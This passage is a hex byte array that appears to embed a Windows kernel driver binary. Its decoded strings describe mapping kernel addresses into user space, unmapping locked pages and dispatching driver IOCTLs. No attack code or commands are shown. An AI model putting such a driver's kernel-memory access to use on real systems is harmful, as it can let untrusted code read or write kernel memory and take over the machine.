0x69, 0x6e, 0x47, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3a, 0x20, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x65, 0x76, 0x65, 0x6c, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x3d, 0x20, 0x30, 0x78, 0x25, 0x70, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x50, 0x41, 0x47, 0x45, 0x5f, 0x53, 0x49, 0x5a, 0x45, 0x20, 0x2a, 0x20, 0x28, 0x36, 0x35, 0x35, 0x33, 0x35, 0x20, 0x2d, 0x20, 0x73, 0x69, 0x7a, 0x65, 0x6f, 0x66, 0x28, 0x4d, 0x44, 0x4c, 0x29, 0x29, 0x20, 0x2f, 0x20, 0x73, 0x69, 0x7a, 0x65, 0x6f, 0x66, 0x28, 0x55, 0x4c, 0x4f, 0x4e, 0x47, 0x5f, 0x50, 0x54, 0x52, 0x29, 0x20, 0x3d, 0x20, 0x25, 0x64, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0x5f, 0x4e, 0x61, 0x6c, 0x57, 0x69, 0x6e, 0x47, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3a, 0x20, 0x55, 0x73, 0x69, 0x6e, 0x67, 0x20, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x20, 0x6d, 0x61, 0x70, 0x20, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x20, 0x73, 0x6c, 0x6f, 0x74, 0x20, 0x25, 0x64, 0x20, 0x2d, 0x20, 0x4c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x20, 0x25, 0x64, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x55, 0x6e, 0x6d, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3a, 0x20, 0x55, 0x6e, 0x6d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x20, 0x6e, 0x6f, 0x6e, 0x2d, 0x75, 0x73, 0x65, 0x72, 0x6d, 0x6f, 0x64, 0x65, 0x20, 0x6d, 0x61, 0x70, 0x70, 0x65, 0x64, 0x20, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x30, 0x78, 0x25, 0x70, 0x2c, 0x20, 0x4c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x20, 0x25, 0x64, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x55, 0x6e, 0x6d, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3a, 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x6e, 0x6f, 0x74, 0x20, 0x66, 0x6f, 0x75, 0x6e, 0x64, 0x20, 0x69, 0x6e, 0x20, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x20, 0x2d, 0x20, 0x6e, 0x6f, 0x74, 0x20, 0x75, 0x6e, 0x6d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x20, 0x30, 0x78, 0x25, 0x70, 0x2c, 0x20, 0x4c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x20, 0x25, 0x64, 0x0a, 0x00, 0xcc, 0x4e, 0x61, 0x6c, 0x55, 0x6e, 0x6d, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3a, 0x20, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x5f, 0x57, 0x69, 0x6e, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x4d, 0x61, 0x70, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x5b, 0x69, 0x5d, 0x2e, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x54, 0x6f, 0x46, 0x72, 0x65, 0x65, 0x20, 0x3d, 0x20, 0x25, 0x70, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x55, 0x6e, 0x6d, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3a, 0x20, 0x55, 0x6e, 0x6d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x20, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x61, 0x6c, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x4d, 0x61, 0x70, 0x70, 0x65, 0x64, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x55, 0x6e, 0x6d, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3a, 0x20, 0x53, 0x6b, 0x69, 0x70, 0x70, 0x65, 0x64, 0x20, 0x4d, 0x6d, 0x55, 0x6e, 0x6d, 0x61, 0x70, 0x4c, 0x6f, 0x63, 0x6b, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x20, 0x2d, 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x54, 0x6f, 0x46, 0x72, 0x65, 0x65, 0x20, 0x6f, 0x72, 0x20, 0x4d, 0x64, 0x6c, 0x20, 0x77, 0x61, 0x73, 0x20, 0x4e, 0x55, 0x4c, 0x4c, 0x0a, 0x00, 0xcc, 0x4e, 0x61, 0x6c, 0x55, 0x6e, 0x6d, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3a, 0x20, 0x43, 0x61, 0x6c, 0x6c, 0x69, 0x6e, 0x67, 0x20, 0x4d, 0x6d, 0x55, 0x6e, 0x6d, 0x61, 0x70, 0x4c, 0x6f, 0x63, 0x6b, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x0a, 0x00, 0xcc, 0x4e, 0x61, 0x6c, 0x55, 0x6e, 0x6d, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3a, 0x20, 0x53, 0x6c, 0x6f, 0x74, 0x20, 0x25, 0x64, 0x20, 0x6d, 0x61, 0x74, 0x63, 0x68, 0x65, 0x64, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x55, 0x6e, 0x6d, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3a, 0x20, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x5f, 0x57, 0x69, 0x6e, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x4d, 0x61, 0x70, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x5b, 0x25, 0x64, 0x5d, 0x2e, 0x4d, 0x61, 0x70, 0x70, 0x65, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x3d, 0x20, 0x30, 0x78, 0x25, 0x70, 0x20, 0x3d, 0x3d, 0x20, 0x30, 0x78, 0x25, 0x70, 0x0a, 0x00, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x55, 0x6e, 0x6d, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3a, 0x20, 0x4c, 0x6f, 0x6f, 0x6b, 0x69, 0x6e, 0x67, 0x20, 0x74, 0x6f, 0x20, 0x75, 0x6e, 0x6d, 0x61, 0x70, 0x20, 0x30, 0x78, 0x25, 0x70, 0x2c, 0x20, 0x4c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x20, 0x25, 0x64, 0x2c, 0x20, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x49, 0x64, 0x20, 0x25, 0x64, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x5f, 0x4e, 0x61, 0x6c, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x65, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x4e, 0x6f, 0x6e, 0x50, 0x61, 0x67, 0x65, 0x64, 0x20, 0x2d, 0x20, 0x4d, 0x6d, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x69, 0x67, 0x75, 0x6f, 0x75, 0x73, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x20, 0x66, 0x61, 0x69, 0x6c, 0x65, 0x64, 0x0a, 0x00, 0x5f, 0x4e, 0x61, 0x6c, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x65, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x4e, 0x6f, 0x6e, 0x50, 0x61, 0x67, 0x65, 0x64, 0x20, 0x2d, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x3d, 0x20, 0x30, 0x78, 0x25, 0x70, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x5f, 0x4e, 0x61, 0x6c, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x65, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x4e, 0x6f, 0x6e, 0x50, 0x61, 0x67, 0x65, 0x64, 0x20, 0x2d, 0x20, 0x4d, 0x6d, 0x4d, 0x61, 0x70, 0x4c, 0x6f, 0x63, 0x6b, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x20, 0x66, 0x61, 0x69, 0x6c, 0x65, 0x64, 0x2e, 0x20, 0x46, 0x72, 0x65, 0x65, 0x69, 0x6e, 0x67, 0x20, 0x4d, 0x44, 0x4c, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x5f, 0x4e, 0x61, 0x6c, 0x46, 0x72, 0x65, 0x65, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x4e, 0x6f, 0x6e, 0x50, 0x61, 0x67, 0x65, 0x64, 0x45, 0x78, 0x3a, 0x20, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x20, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x20, 0x30, 0x78, 0x25, 0x70, 0x20, 0x69, 0x73, 0x20, 0x6e, 0x6f, 0x74, 0x20, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x69, 0x6e, 0x74, 0x6f, 0x20, 0x74, 0x68, 0x65, 0x20, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2e, 0x20, 0x4e, 0x6f, 0x74, 0x20, 0x66, 0x72, 0x65, 0x65, 0x69, 0x6e, 0x67, 0x20, 0x61, 0x6e, 0x79, 0x74, 0x68, 0x69, 0x6e, 0x67, 0x2e, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x4d, 0x6d, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3a, 0x20, 0x2a, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x3d, 0x20, 0x30, 0x78, 0x25, 0x70, 0x20, 0x28, 0x6d, 0x61, 0x70, 0x70, 0x65, 0x64, 0x20, 0x74, 0x6f, 0x20, 0x75, 0x73, 0x65, 0x72, 0x29, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x4d, 0x6d, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3a, 0x20, 0x2a, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x3d, 0x20, 0x30, 0x78, 0x25, 0x70, 0x20, 0x28, 0x6e, 0x6f, 0x74, 0x20, 0x6d, 0x61, 0x70, 0x70, 0x65, 0x64, 0x20, 0x74, 0x6f, 0x20, 0x75, 0x73, 0x65, 0x72, 0x29, 0x0a, 0x00, 0xcc, 0x4e, 0x61, 0x6c, 0x4d, 0x6d, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3a, 0x20, 0x56, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x3d, 0x20, 0x30, 0x78, 0x25, 0x70, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x54, 0x50, 0x4e, 0x50, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x5c, 0x00, 0x52, 0x00, 0x45, 0x00, 0x47, 0x00, 0x49, 0x00, 0x53, 0x00, 0x54, 0x00, 0x52, 0x00, 0x59, 0x00, 0x5c, 0x00, 0x4d, 0x00, 0x41, 0x00, 0x43, 0x00, 0x48, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x45, 0x00, 0x5c, 0x00, 0x48, 0x00, 0x41, 0x00, 0x52, 0x00, 0x44, 0x00, 0x57, 0x00, 0x41, 0x00, 0x52, 0x00, 0x45, 0x00, 0x5c, 0x00, 0x52, 0x00, 0x45, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x55, 0x00, 0x52, 0x00, 0x43, 0x00, 0x45, 0x00, 0x4d, 0x00, 0x41, 0x00, 0x50, 0x00, 0x5c, 0x00, 0x50, 0x00, 0x6e, 0x00, 0x50, 0x00, 0x20, 0x00, 0x4d, 0x00, 0x61, 0x00, 0x6e, 0x00, 0x61, 0x00, 0x67, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5c, 0x00, 0x50, 0x00, 0x6e, 0x00, 0x70, 0x00, 0x4d, 0x00, 0x61, 0x00, 0x6e, 0x00, 0x61, 0x00, 0x67, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0x4c, 0x6f, 0x6f, 0x6b, 0x69, 0x6e, 0x67, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x6d, 0x61, 0x74, 0x63, 0x68, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x25, 0x64, 0x2f, 0x25, 0x64, 0x2f, 0x25, 0x64, 0x0a, 0x00, 0x5f, 0x4e, 0x61, 0x6c, 0x52, 0x65, 0x61, 0x64, 0x50, 0x63, 0x69, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x20, 0x66, 0x6f, 0x75, 0x6e, 0x64, 0x20, 0x25, 0x64, 0x20, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x28, 0x25, 0x64, 0x29, 0x0a, 0x00, 0xcc, 0xcc, 0x64, 0x3a, 0x5c, 0x73, 0x61, 0x6e, 0x64, 0x62, 0x6f, 0x78, 0x5c, 0x31, 0x35, 0x34, 0x31, 0x36, 0x37, 0x5c, 0x73, 0x64, 0x6b, 0x5c, 0x6e, 0x61, 0x6c, 0x5c, 0x73, 0x72, 0x63, 0x5c, 0x77, 0x69, 0x6e, 0x6e, 0x74, 0x5f, 0x77, 0x64, 0x6d, 0x5c, 0x64, 0x72, 0x69, 0x76, 0x65, 0x72, 0x5c, 0x77, 0x69, 0x6e, 0x64, 0x72, 0x69, 0x76, 0x65, 0x72, 0x70, 0x63, 0x69, 0x5f, 0x69, 0x2e, 0x63, 0x00, 0x46, 0x69, 0x6c, 0x6c, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x3a, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3a, 0x20, 0x25, 0x70, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x5f, 0x4e, 0x61, 0x6c, 0x48, 0x61, 0x73, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x72, 0x75, 0x70, 0x74, 0x4f, 0x63, 0x63, 0x75, 0x72, 0x72, 0x65, 0x64, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x20, 0x25, 0x73, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x46, 0x41, 0x4c, 0x53, 0x45, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x54, 0x52, 0x55, 0x45, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x4f, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6f, 0x63, 0x74, 0x6c, 0x3a, 0x20, 0x46, 0x75, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x20, 0x3d, 0x20, 0x25, 0x64, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x4f, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6f, 0x63, 0x74, 0x6c, 0x3a, 0x20, 0x4e, 0x41, 0x4c, 0x5f, 0x57, 0x49, 0x4e, 0x5f, 0x49, 0x53, 0x5f, 0x41, 0x44, 0x41, 0x50, 0x54, 0x45, 0x52, 0x5f, 0x49, 0x4e, 0x5f, 0x55, 0x53, 0x45, 0x5f, 0x46, 0x55, 0x4e, 0x43, 0x49, 0x44, 0x20, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4e, 0x55, 0x4c, 0x4c, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x4f, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6f, 0x63, 0x74, 0x6c, 0x3a, 0x20, 0x4e, 0x41, 0x4c, 0x5f, 0x57, 0x49, 0x4e, 0x5f, 0x41, 0x44, 0x41, 0x50, 0x54, 0x45, 0x52, 0x5f, 0x49, 0x4e, 0x5f, 0x55, 0x53, 0x45, 0x5f, 0x46, 0x55, 0x4e, 0x43, 0x49, 0x44, 0x20, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4e, 0x55, 0x4c, 0x4c, 0x0a, 0x00, 0xcc, 0x4e, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x4f, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6f, 0x63, 0x74, 0x6c, 0x3a, 0x20, 0x4e, 0x41, 0x4c, 0x5f, 0x57, 0x49, 0x4e, 0x5f, 0x44, 0x52, 0x49, 0x56, 0x45, 0x52, 0x5f, 0x47, 0x45, 0x54, 0x5f, 0x52, 0x45, 0x46, 0x5f, 0x43, 0x4f, 0x55, 0x4e, 0x54, 0x5f, 0x46, 0x55, 0x4e, 0x43, 0x49, 0x44, 0x20, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4e, 0x55, 0x4c, 0x4c, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x4f, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6f, 0x63, 0x74, 0x6c, 0x3a, 0x20, 0x4e, 0x41, 0x4c, 0x5f, 0x57, 0x49, 0x4e, 0x5f, 0x4f, 0x53, 0x5f, 0x44, 0x45, 0x56, 0x49, 0x43, 0x45, 0x5f, 0x46, 0x55, 0x4e, 0x43, 0x49, 0x44, 0x20, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4e, 0x55, 0x4c, 0x4c, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x4f, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6f, 0x63, 0x74, 0x6c, 0x3a, 0x20, 0x4e, 0x41, 0x4c, 0x5f, 0x57, 0x49, 0x4e, 0x5f, 0x46, 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, 0x56, 0x5f, 0x43, 0x4f, 0x4e, 0x54, 0x45, 0x58, 0x54, 0x5f, 0x46, 0x55, 0x4e, 0x43, 0x49, 0x44, 0x20, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4e, 0x55, 0x4c, 0x4c, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x4f, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6f, 0x63, 0x74, 0x6c, 0x3a, 0x20, 0x4e, 0x41, 0x4c, 0x5f, 0x57, 0x49, 0x4e, 0x5f, 0x41, 0x4c, 0x4c, 0x4f, 0x43, 0x5f, 0x44, 0x45, 0x56, 0x5f, 0x43, 0x4f, 0x4e, 0x54, 0x45, 0x58, 0x54, 0x5f, 0x46, 0x55, 0x4e, 0x43, 0x49, 0x44, 0x20, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4e, 0x55, 0x4c, 0x4c, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x4f, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6f, 0x63, 0x74, 0x6c, 0x3a, 0x20, 0x4e, 0x41, 0x4c, 0x5f, 0x57, 0x49, 0x4e, 0x5f, 0x47, 0x45, 0x54, 0x5f, 0x53, 0x59, 0x4d, 0x42, 0x4f, 0x4c, 0x49, 0x43, 0x5f, 0x4e, 0x41, 0x4d, 0x45, 0x5f, 0x46, 0x55, 0x4e, 0x43, 0x49, 0x44, 0x20, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4e, 0x55, 0x4c, 0x4c, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x4f, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6f, 0x63, 0x74, 0x6c, 0x3a, 0x20, 0x4e, 0x41, 0x4c, 0x5f, 0x57, 0x49, 0x4e, 0x5f, 0x47, 0x45, 0x54, 0x5f, 0x50, 0x44, 0x4f, 0x5f, 0x50, 0x4f, 0x49, 0x4e, 0x54, 0x45, 0x52, 0x5f, 0x46, 0x55, 0x4e, 0x43, 0x49, 0x44, 0x20, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4e, 0x55, 0x4c, 0x4c, 0x0a, 0x00, 0x4e, 0x61, 0x6c, 0x4f, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6f, 0x63, 0x74, 0x6c, 0x3a, 0x20, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x20, 0x3d, 0x20, 0x25, 0x64, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5c, 0x27, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x27, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa2, 0x24, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x24, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcc, 0x24, 0x5d, 0x00, 0x00, 0x00, 